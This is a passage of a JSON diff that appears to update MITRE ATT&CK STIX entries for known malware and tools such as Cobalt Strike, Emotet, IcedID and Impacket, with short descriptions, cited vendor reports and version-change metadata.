"3.2.0", + "x_mitre_contributors": [ + "Phill Taylor, BT Security" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-17 17:58:55.921000+00:00\", \"old_value\": \"2022-10-21 21:43:41.253000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"2.1.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 1.1" + }, + { + "type": "malware", + "id": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14 16:46:06.044000+00:00", + "modified": "2024-09-25 20:32:57.099000+00:00", + "name": "Cobalt Strike", + "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) is a commercial, full-featured, remote access tool that bills itself as \u201cadversary simulation software designed to execute targeted attacks and emulate the post-exploitation actions of advanced threat actors\u201d. Cobalt Strike\u2019s interactive post-exploit capabilities cover the full range of ATT&CK tactics, all executed within a single, integrated system.(Citation: cobaltstrike manual)\n\nIn addition to its own capabilities, [Cobalt Strike](https://attack.mitre.org/software/S0154) leverages the capabilities of other well-known tools such as Metasploit and [Mimikatz](https://attack.mitre.org/software/S0002).(Citation: cobaltstrike manual)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0154", + "external_id": "S0154" + }, + { + "source_name": "cobaltstrike manual", + "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", + "url": "https://web.archive.org/web/20210825130434/https://cobaltstrike.com/downloads/csmanual38.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Cobalt Strike" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Martin Sohn Christensen, Improsec", + "Josh Abraham" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "Linux", + "macOS" + ], + "x_mitre_version": "1.13", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-25 20:32:57.099000+00:00\", \"old_value\": \"2024-04-17 22:05:58.343000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.13\", \"old_value\": \"1.12\"}}}", + "previous_version": "1.12", + "version_change": "1.12 \u2192 1.13" + }, + { + "type": "malware", + "id": "malware--b350b47f-88fe-4921-8538-6d9c59bac84e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-03-03 15:37:41.440000+00:00", + "modified": "2024-08-15 22:36:30.074000+00:00", + "name": "Cyclops Blink", + "description": "[Cyclops Blink](https://attack.mitre.org/software/S0687) is a modular malware that has been used in widespread campaigns by [Sandworm Team](https://attack.mitre.org/groups/G0034) since at least 2019 to target Small/Home Office (SOHO) network devices, including WatchGuard and Asus. [Cyclops Blink](https://attack.mitre.org/software/S0687) is assessed to be a replacement for [VPNFilter](https://attack.mitre.org/software/S1010), a similar platform targeting network devices.(Citation: NCSC Cyclops Blink February 2022)(Citation: NCSC CISA Cyclops Blink Advisory February 2022)(Citation: Trend Micro Cyclops Blink March 2022)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0687", + "external_id": "S0687" + }, + { + "source_name": "Trend Micro Cyclops Blink March 2022", + "description": "Haquebord, F. et al. (2022, March 17). Cyclops Blink Sets Sights on Asus Routers. Retrieved March 17, 2022.", + "url": "https://www.trendmicro.com/en_us/research/22/c/cyclops-blink-sets-sights-on-asus-routers--.html" + }, + { + "source_name": "NCSC CISA Cyclops Blink Advisory February 2022", + "description": "NCSC, CISA, FBI, NSA. (2022, February 23). New Sandworm malware Cyclops Blink replaces VPNFilter. Retrieved March 3, 2022.", + "url": "https://www.ncsc.gov.uk/news/joint-advisory-shows-new-sandworm-malware-cyclops-blink-replaces-vpnfilter" + }, + { + "source_name": "NCSC Cyclops Blink February 2022", + "description": "NCSC. (2022, February 23). Cyclops Blink Malware Analysis Report. Retrieved March 3, 2022.", + "url": "https://www.ncsc.gov.uk/files/Cyclops-Blink-Malware-Analysis-Report.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Cyclops Blink" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Network" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-08-15 22:36:30.074000+00:00\", \"old_value\": \"2022-04-14 17:00:26.886000+00:00\"}, \"root['description']\": {\"new_value\": \"[Cyclops Blink](https://attack.mitre.org/software/S0687) is a modular malware that has been used in widespread campaigns by [Sandworm Team](https://attack.mitre.org/groups/G0034) since at least 2019 to target Small/Home Office (SOHO) network devices, including WatchGuard and Asus. [Cyclops Blink](https://attack.mitre.org/software/S0687) is assessed to be a replacement for [VPNFilter](https://attack.mitre.org/software/S1010), a similar platform targeting network devices.(Citation: NCSC Cyclops Blink February 2022)(Citation: NCSC CISA Cyclops Blink Advisory February 2022)(Citation: Trend Micro Cyclops Blink March 2022)\", \"old_value\": \"[Cyclops Blink](https://attack.mitre.org/software/S0687) is a modular malware that has been used in widespread campaigns by [Sandworm Team](https://attack.mitre.org/groups/G0034) since at least 2019 to target Small/Home Office (SOHO) network devices, including WatchGuard and Asus.(Citation: NCSC Cyclops Blink February 2022)(Citation: NCSC CISA Cyclops Blink Advisory February 2022)(Citation: Trend Micro Cyclops Blink March 2022)\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"2.1.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 1.1", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1[Cyclops Blink](https://attack.mitre.org/software/S0687) is t1[Cyclops Blink](https://attack.mitre.org/software/S0687) is 
>a modular malware that has been used in widespread campaigns>a modular malware that has been used in widespread campaigns
> by [Sandworm Team](https://attack.mitre.org/groups/G0034) s> by [Sandworm Team](https://attack.mitre.org/groups/G0034) s
>ince at least 2019 to target Small/Home Office (SOHO) networ>ince at least 2019 to target Small/Home Office (SOHO) networ
>k devices, including WatchGuard and Asus.(Citation: NCSC Cyc>k devices, including WatchGuard and Asus. [Cyclops Blink](ht
>lops Blink February 2022)(Citation: NCSC CISA Cyclops Blink >tps://attack.mitre.org/software/S0687) is assessed to be a r
>Advisory February 2022)(Citation: Trend Micro Cyclops Blink >eplacement for [VPNFilter](https://attack.mitre.org/software
>March 2022)>/S1010), a similar platform targeting network devices.(Citat
 >ion: NCSC Cyclops Blink February 2022)(Citation: NCSC CISA C
 >yclops Blink Advisory February 2022)(Citation: Trend Micro C
 >yclops Blink March 2022)
" + }, + { + "type": "malware", + "id": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-25 18:35:14.353000+00:00", + "modified": "2024-07-09 16:04:18.570000+00:00", + "name": "Emotet", + "description": "[Emotet](https://attack.mitre.org/software/S0367) is a modular malware variant which is primarily used as a downloader for other malware variants such as [TrickBot](https://attack.mitre.org/software/S0266) and [IcedID](https://attack.mitre.org/software/S0483). Emotet first emerged in June 2014, initially targeting the financial sector, and has expanded to multiple verticals over time.(Citation: Trend Micro Banking Malware Jan 2019)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0367", + "external_id": "S0367" + }, + { + "source_name": "Emotet", + "description": "(Citation: Trend Micro Banking Malware Jan 2019)(Citation: Kaspersky Emotet Jan 2019)(Citation: CIS Emotet Apr 2017)(Citation: Malwarebytes Emotet Dec 2017)(Citation: Symantec Emotet Jul 2018)(Citation: US-CERT Emotet Jul 2018)(Citation: ESET Emotet Nov 2018)(Citation: Secureworks Emotet Nov 2018)(Citation: Talos Emotet Jan 2019)(Citation: Trend Micro Emotet Jan 2019)(Citation: CIS Emotet Dec 2018)(Citation: Picus Emotet Dec 2018)(Citation: Red Canary Emotet Feb 2019) " + }, + { + "source_name": "Geodo", + "description": "(Citation: Trend Micro Emotet Jan 2019)" + }, + { + "source_name": "Talos Emotet Jan 2019", + "description": "Brumaghin, E.. (2019, January 15). Emotet re-emerges after the holidays. Retrieved March 25, 2019.", + "url": "https://blog.talosintelligence.com/2019/01/return-of-emotet.html" + }, + { + "source_name": "CIS Emotet Apr 2017", + "description": "CIS. (2017, April 28). Emotet Changes TTPs and Arrives in United States. Retrieved January 17, 2019.", + "url": "https://www.cisecurity.org/blog/emotet-changes-ttp-and-arrives-in-united-states/" + }, + { + "source_name": "CIS Emotet Dec 2018", + "description": "CIS. (2018, December 12). MS-ISAC Security Primer- Emotet. Retrieved March 25, 2019.", + "url": "https://www.cisecurity.org/white-papers/ms-isac-security-primer-emotet/" + }, + { + "source_name": "Red Canary Emotet Feb 2019", + "description": "Donohue, B.. (2019, February 13). https://redcanary.com/blog/stopping-emotet-before-it-moves-laterally/. Retrieved March 25, 2019.", + "url": "https://redcanary.com/blog/stopping-emotet-before-it-moves-laterally/" + }, + { + "source_name": "ESET Emotet Nov 2018", + "description": "ESET . (2018, November 9). Emotet launches major new spam campaign. Retrieved March 25, 2019.", + "url": "https://www.welivesecurity.com/2018/11/09/emotet-launches-major-new-spam-campaign/" + }, + { + "source_name": "Secureworks Emotet Nov 2018", + "description": "Mclellan, M.. (2018, November 19). Lazy Passwords Become Rocket Fuel for Emotet SMB Spreader. Retrieved March 25, 2019.", + "url": "https://www.secureworks.com/blog/lazy-passwords-become-rocket-fuel-for-emotet-smb-spreader" + }, + { + "source_name": "Picus Emotet Dec 2018", + "description": "\u00d6zarslan, S. (2018, December 21). The Christmas Card you never wanted - A new wave of Emotet is back to wreak havoc. Retrieved March 25, 2019.", + "url": "https://www.picussecurity.com/blog/the-christmas-card-you-never-wanted-a-new-wave-of-emotet-is-back-to-wreak-havoc.html" + }, + { + "source_name": "Trend Micro Banking Malware Jan 2019", + "description": "Salvio, J.. (2014, June 27). New Banking Malware Uses Network Sniffing for Data Theft. Retrieved March 25, 2019.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/new-banking-malware-uses-network-sniffing-for-data-theft/" + }, + { + "source_name": "Kaspersky Emotet Jan 2019", + "description": "Shulmin, A. . (2015, April 9). The Banking Trojan Emotet: Detailed Analysis. Retrieved March 25, 2019.", + "url": "https://securelist.com/the-banking-trojan-emotet-detailed-analysis/69560/" + }, + { + "source_name": "Malwarebytes Emotet Dec 2017", + "description": "Smith, A.. (2017, December 22). Protect your network from Emotet Trojan with Malwarebytes Endpoint Security. Retrieved January 17, 2019.", + "url": "https://support.malwarebytes.com/docs/DOC-2295" + }, + { + "source_name": "Symantec Emotet Jul 2018", + "description": "Symantec. (2018, July 18). The Evolution of Emotet: From Banking Trojan to Threat Distributor. Retrieved March 25, 2019.", + "url": "https://www.symantec.com/blogs/threat-intelligence/evolution-emotet-trojan-distributor" + }, + { + "source_name": "Trend Micro Emotet Jan 2019", + "description": "Trend Micro. (2019, January 16). Exploring Emotet's Activities . Retrieved March 25, 2019.", + "url": "https://documents.trendmicro.com/assets/white_papers/ExploringEmotetsActivities_Final.pdf" + }, + { + "source_name": "US-CERT Emotet Jul 2018", + "description": "US-CERT. (2018, July 20). Alert (TA18-201A) Emotet Malware. Retrieved March 25, 2019.", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-201A" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Emotet", + "Geodo" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Omkar Gudhate" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.6", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-07-09 16:04:18.570000+00:00\", \"old_value\": \"2023-09-29 19:44:43.868000+00:00\"}, \"root['description']\": {\"new_value\": \"[Emotet](https://attack.mitre.org/software/S0367) is a modular malware variant which is primarily used as a downloader for other malware variants such as [TrickBot](https://attack.mitre.org/software/S0266) and [IcedID](https://attack.mitre.org/software/S0483). Emotet first emerged in June 2014, initially targeting the financial sector, and has expanded to multiple verticals over time.(Citation: Trend Micro Banking Malware Jan 2019)\", \"old_value\": \"[Emotet](https://attack.mitre.org/software/S0367) is a modular malware variant which is primarily used as a downloader for other malware variants such as [TrickBot](https://attack.mitre.org/software/S0266) and [IcedID](https://attack.mitre.org/software/S0483). Emotet first emerged in June 2014 and has been primarily used to target the banking sector. (Citation: Trend Micro Banking Malware Jan 2019)\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.6\", \"old_value\": \"1.5\"}}}", + "previous_version": "1.5", + "version_change": "1.5 \u2192 1.6", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1[Emotet](https://attack.mitre.org/software/S0367) is a modult1[Emotet](https://attack.mitre.org/software/S0367) is a modul
>ar malware variant which is primarily used as a downloader f>ar malware variant which is primarily used as a downloader f
>or other malware variants such as [TrickBot](https://attack.>or other malware variants such as [TrickBot](https://attack.
>mitre.org/software/S0266) and [IcedID](https://attack.mitre.>mitre.org/software/S0266) and [IcedID](https://attack.mitre.
>org/software/S0483). Emotet first emerged in June 2014 and h>org/software/S0483). Emotet first emerged in June 2014, init
>as been primarily used to target the banking sector. (Citati>ially targeting the financial sector, and has expanded to mu
>on: Trend Micro Banking Malware Jan 2019)>ltiple verticals over time.(Citation: Trend Micro Banking Ma
 >lware Jan 2019)
" + }, + { + "type": "tool", + "id": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-11 14:13:40.648000+00:00", + "modified": "2024-09-25 20:32:02.152000+00:00", + "name": "Empire", + "description": "[Empire](https://attack.mitre.org/software/S0363) is an open source, cross-platform remote administration and post-exploitation framework that is publicly available on GitHub. While the tool itself is primarily written in Python, the post-exploitation agents are written in pure [PowerShell](https://attack.mitre.org/techniques/T1059/001) for Windows and Python for Linux/macOS. [Empire](https://attack.mitre.org/software/S0363) was one of five tools singled out by a joint report on public hacking tools being widely used by adversaries.(Citation: NCSC Joint Report Public Tools)(Citation: Github PowerShell Empire)(Citation: GitHub ATTACK Empire)", + "revoked": false, + "labels": [ + "tool" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0363", + "external_id": "S0363" + }, + { + "source_name": "EmPyre", + "description": "(Citation: Github PowerShell Empire)" + }, + { + "source_name": "PowerShell Empire", + "description": "(Citation: Github PowerShell Empire)" + }, + { + "source_name": "Github PowerShell Empire", + "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", + "url": "https://github.com/PowerShellEmpire/Empire" + }, + { + "source_name": "GitHub ATTACK Empire", + "description": "Stepanic, D. (2018, September 2). attck_empire: Generate ATT&CK Navigator layer file from PowerShell Empire agent logs. Retrieved March 11, 2019.", + "url": "https://github.com/dstepanic/attck_empire" + }, + { + "source_name": "NCSC Joint Report Public Tools", + "description": "The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.", + "url": "https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Empire", + "EmPyre", + "PowerShell Empire" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.8", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-25 20:32:02.152000+00:00\", \"old_value\": \"2023-07-27 15:44:31.364000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"3.1.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.8\", \"old_value\": \"1.7\"}}}", + "previous_version": "1.7", + "version_change": "1.7 \u2192 1.8" + }, + { + "type": "malware", + "id": "malware--a8a778f5-0035-4870-bb25-53dc05029586", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-28 17:40:32.217000+00:00", + "modified": "2024-08-05 18:21:34.265000+00:00", + "name": "EvilBunny", + "description": "[EvilBunny](https://attack.mitre.org/software/S0396) is a C++ malware sample observed since 2011 that was designed to be a execution platform for Lua scripts.(Citation: Cyphort EvilBunny Dec 2014)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0396", + "external_id": "S0396" + }, + { + "source_name": "EvilBunny", + "description": "(Citation: Cyphort EvilBunny Dec 2014)" + }, + { + "source_name": "Cyphort EvilBunny Dec 2014", + "description": "Marschalek, M.. (2014, December 16). EvilBunny: Malware Instrumented By Lua. Retrieved June 28, 2019.", + "url": "https://web.archive.org/web/20150311013500/http://www.cyphort.com/evilbunny-malware-instrumented-lua/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "EvilBunny" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "ESET" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_deprecated']\": false}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-08-05 18:21:34.265000+00:00\", \"old_value\": \"2021-04-02 00:14:13.954000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"2.1.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.3\", \"old_value\": \"1.2\"}}}", + "previous_version": "1.2", + "version_change": "1.2 \u2192 1.3" + }, + { + "type": "malware", + "id": "malware--f2e8c7a1-cae1-45c4-baf0-6f21bdcbb2c2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:32:20.526000+00:00", + "modified": "2024-08-28 14:16:00.884000+00:00", + "name": "GLOOXMAIL", + "description": "[GLOOXMAIL](https://attack.mitre.org/software/S0026) is malware used by [APT1](https://attack.mitre.org/groups/G0006) that mimics legitimate Jabber/XMPP traffic. (Citation: Mandiant APT1)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0026", + "external_id": "S0026" + }, + { + "source_name": "Mandiant APT1", + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "GLOOXMAIL", + "Trojan.GTALK" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_deprecated']\": false}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-08-28 14:16:00.884000+00:00\", \"old_value\": \"2020-03-30 16:42:52.248000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"2.1.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 1.2" + }, + { + "type": "malware", + "id": "malware--b9799466-9dd7-4098-b2d6-f999ce50b9a8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17 00:14:20.652000+00:00", + "modified": "2024-05-06 20:40:17+00:00", + "name": "Gold Dragon", + "description": "[Gold Dragon](https://attack.mitre.org/software/S0249) is a Korean-language, data gathering implant that was first observed in the wild in South Korea in July 2017. [Gold Dragon](https://attack.mitre.org/software/S0249) was used along with [Brave Prince](https://attack.mitre.org/software/S0252) and [RunningRAT](https://attack.mitre.org/software/S0253) in operations targeting organizations associated with the 2018 Pyeongchang Winter Olympics. (Citation: McAfee Gold Dragon)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0249", + "external_id": "S0249" + }, + { + "source_name": "Gold Dragon", + "description": "(Citation: McAfee Gold Dragon)" + }, + { + "source_name": "McAfee Gold Dragon", + "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.", + "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Gold Dragon" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-05-06 20:40:17+00:00\", \"old_value\": \"2022-04-11 21:45:35.889000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"2.1.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.3\", \"old_value\": \"1.2\"}}}", + "previous_version": "1.2", + "version_change": "1.2 \u2192 1.3" + }, + { + "type": "malware", + "id": "malware--5147ef15-1cae-4707-8ea1-bee8d98b7f1d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-07-15 17:55:11.252000+00:00", + "modified": "2024-10-28 19:20:20.633000+00:00", + "name": "IcedID", + "description": "[IcedID](https://attack.mitre.org/software/S0483) is a modular banking malware designed to steal financial information that has been observed in the wild since at least 2017. [IcedID](https://attack.mitre.org/software/S0483) has been downloaded by [Emotet](https://attack.mitre.org/software/S0367) in multiple campaigns.(Citation: IBM IcedID November 2017)(Citation: Juniper IcedID June 2020)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0483", + "external_id": "S0483" + }, + { + "source_name": "IBM IcedID November 2017", + "description": "Kessem, L., et al. (2017, November 13). New Banking Trojan IcedID Discovered by IBM X-Force Research. Retrieved July 14, 2020.", + "url": "https://securityintelligence.com/new-banking-trojan-icedid-discovered-by-ibm-x-force-research/" + }, + { + "source_name": "Juniper IcedID June 2020", + "description": "Kimayong, P. (2020, June 18). COVID-19 and FMLA Campaigns used to install new IcedID banking malware. Retrieved July 14, 2020.", + "url": "https://blogs.juniper.net/en-us/threat-research/covid-19-and-fmla-campaigns-used-to-install-new-icedid-banking-malware" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "IcedID" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Jorge Orchilles", + "Matt Brenton", + "Zaw Min Htun, @Z3TAE" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_contributors']\": [\"Jorge Orchilles\", \"Matt Brenton\", \"Zaw Min Htun, @Z3TAE\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-28 19:20:20.633000+00:00\", \"old_value\": \"2024-04-11 02:16:08.503000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 1.2" + }, + { + "type": "tool", + "id": "tool--26c87906-d750-42c5-946c-d4162c73fc7b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-31 01:39:56.283000+00:00", + "modified": "2024-10-07 19:08:53.273000+00:00", + "name": "Impacket", + "description": "[Impacket](https://attack.mitre.org/software/S0357) is an open source collection of modules written in Python for programmatically constructing and manipulating network protocols. [Impacket](https://attack.mitre.org/software/S0357) contains several tools for remote service execution, Kerberos manipulation, Windows credential dumping, packet sniffing, and relay attacks.(Citation: Impacket Tools)", + "revoked": false, + "labels": [ + "tool" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0357", + "external_id": "S0357" + }, + { + "source_name": "Impacket Tools", + "description": "SecureAuth. (n.d.). Retrieved January 15, 2019.", + "url": "https://www.secureauth.com/labs/open-source-tools/impacket" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Impacket" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Jacob Wilkin, Trustwave, SpiderLabs" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.7", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-07 19:08:53.273000+00:00\", \"old_value\": \"2024-03-14 17:27:34.759000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.7\", \"old_value\": \"1.6\"}}}", + "previous_version": "1.6", + "version_change": "1.6 \u2192 1.7" + }, + { + "type": "tool", + "id": "tool--981acc4c-2ede-4b56-be6e-fa1a75f37acf", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-14 17:08:55.176000+00:00", + "modified": "2024-09-25 20:27:04.356000+00:00", + "name": "Nltest", + "description": "[Nltest](https://attack.mitre.org/software/S0359) is a Windows command-line utility used to list domain controllers and enumerate domain trusts.(Citation: Nltest Manual)", + "revoked": false, + "labels": [ + "tool" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0359", + "external_id": "S0359" + }, + { + "source_name": "Nltest Manual", + "description": "ss64. (n.d.). NLTEST.exe - Network Location Test. Retrieved February 14, 2019.", + "url": "https://ss64.com/nt/nltest.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Nltest" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-25 20:27:04.356000+00:00\", \"old_value\": \"2023-08-09 18:03:17.167000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": 